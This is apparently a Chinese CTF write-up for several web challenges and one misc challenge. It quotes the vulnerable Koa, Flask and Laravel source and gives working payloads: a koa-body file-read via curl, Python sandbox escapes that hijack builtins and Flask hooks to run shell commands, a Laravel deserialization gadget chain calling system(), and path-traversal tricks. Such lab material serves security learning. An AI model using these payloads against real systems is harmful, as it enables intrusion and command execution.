Web
一、CloudDisk
源码
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');
const app = new Koa();
const router = new Router();
const SECRET = "?"
app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});
router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');
});
app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at port: 3333')
})
简单的上传和下载功能,引用了koa-body
库,通过检索发现issue
payload
curl -X POST -H "Content-Type: application/json" -d '{"files":{"file":{"name":"lol","path":"/app/flag"}}}' http://ip/uploadfile
然后下载
curl http://ip/downloadfile/对应id
[
二、pysandbox
源码
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"
exec(secret)
return "xXXxXXx"
if __name__ == '__main__':
app.run(host="0.0.0.0")
我把我自己蠢哭了。。 过滤了括号,发现没法调用函数,苦思冥想感觉像 flask静态文件映射
通过查阅手册存在static_folder
控制着静态文件位置,因为过滤括号 发现request.referrer
为可控字符串
然后企图修改app.static_folder=request.referrer
,请求头添加Referer: '/'
然后访问 /app/flag
或/flag
等均未成功,一顿操作猛如虎,发现自己250
都忘了访问静态文件要加static
,最终访问/static/flag
getflag
引号过滤还可用request.content_md5
或者 request.content_encoding
等其他代替
其它答案
static_folder
设置为 /
时代表网站根目录, 需要 ../
进行翻越
_static_folder
设置为 /
代表根目录,需要 /static/app/flag
才能访问到
也可从__doc__
属性获取特殊字符
三、pysandbox2
需要RCE,这题也愣是没办法参考各路神仙
本题的主要思路就是劫持函数,通过替换某一个函数为eval system等,然后变量外部可控,即可RCE
① 方法一
__builtins__.ord=lambda*args:45
该方法相对简单,直接覆盖掉ord
,使42 <= ord(i) <= 122
永真
当变量设置为__builtins__
的属性时,变量就会一直保持到整个程序结束,不然只会持续到请求结束
小例子说明
当变量设置为__builtins__
的属性时
__builtins__.ord
被修改如下后,就无任何限制了,直接打就完事
亦或者不弹shell
用同样的方法直接重写路由
app.view_functions['security'] = lambda: __import__('os').popen('id').read()
②方法二
参考自 https://www.gem-love.com payload
app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx='__import__("os").system("bash")'
分析
看一下make_response
的作用
默认值
修改为print
发现make_response
就是用如何来处理return
值,这里想要利用 就必须return
值可控,但return
值固定为xXXxXXx,因此通过eval
把xXXxXXx当作变量来处理就可控return
同时eval
并不会直接解析变量并执行,只会解析变量
而after_request_funcs
的作用是处理make_response
的返回值,看一下小例子
len
处理了 变量xXXxXXx
,返回值为7,然后print
又处理了len
的返回值
因此payload 利用exec
处理了eval
的返回值 从而执行命令(随便会报错,但是命令已经提前执行)
xXXxXXx的值可用pysandbox1来处理
③方法三
预期解:劫持函数
通过继承链调用 url_parse
request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls']
然后劫持成eval
参数为/index.php
即可控 因此执行命令
bestlanguage
源码
<?php
class IndexController extends Controller
{
public function init(){
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR"],"192.168.") !== 0 && strpos($_SERVER["REMOTE_ADDR"],"10.") !== 0 ) {
die("admin only");
}
if(!file_exists("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]))){
mkdir("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]));
}
}
public function rm(){
if(strpos($_POST["filename"], '../') !== false) die("???");
if(file_exists("/var/".$_POST["filename"])){
if(is_dir("/var/".$_POST["filename"])){
rmdir("/var/".$_POST["filename"]);
echo "rmdir";
}
else{
unlink("/var/".$_POST["filename"]);
echo "unlink";
}
}
}
public function upload()
{
if(strpos($_POST["filename"], '../') !== false) die("???");
file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
}
public function moveLog($filename)
{
$data =date("Y-m-d");
if(!file_exists(storage_path("logs")."/".$data)){
mkdir(storage_path("logs")."/".$data);
}
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>1,//单位秒
)
);
$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);
echo storage_path("logs")."/".$data."/".$filename;
}
?>
① 方法一
利用如下链
<?php
namespace Faker {
class ValidGenerator{
protected $generator ;//= new DefaultGenerator();
protected $validator;
protected $maxRetries=1;
public function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = "system";
}
}
class DefaultGenerator{
protected $default="echo 1111>/tmp/4444444";
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
public function __construct(){
$this->events = new \Faker\ValidGenerator();
}
}
}
namespace {
$a = new Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($a));
}
?>
也可用phpgc
生成链
找到.env
中的key
然后再利用laravel-poc-CVE-2018-15133生成payload
②方法二
路由存在文件读取功能
在nginx 限制下
(偷个图)
但在Laravel
下支持 index.php/tmp/
这种方式
因此index.php/tmp/../../flag
ngixn
判断为合法,
③ 方法三
因为file_put_contents
不能创建文件夹,因此需要用到如下特性
就创建了一个MD5 文件
然后再利用movelog
,通过url处理差异 将创建的文件移动到session文件中,最后反序列化
/../1ce9d70517c1b90ea03c50fac5ba1ac9?/../../framework/sessions/123
具体session命名,和如何反序列化就不多说了
misc
easymisc
根据题目描述galf_si_erehw
,猜测hex反转
with open("galf_si_erehw.jpg","rb") as f :
text = f.read().hex()
with open("flag","wb") as ff :
t = bytes.fromhex(text[::-1])
ff.write(t)
反转后
正常jpg
修正
提取
假flag
strings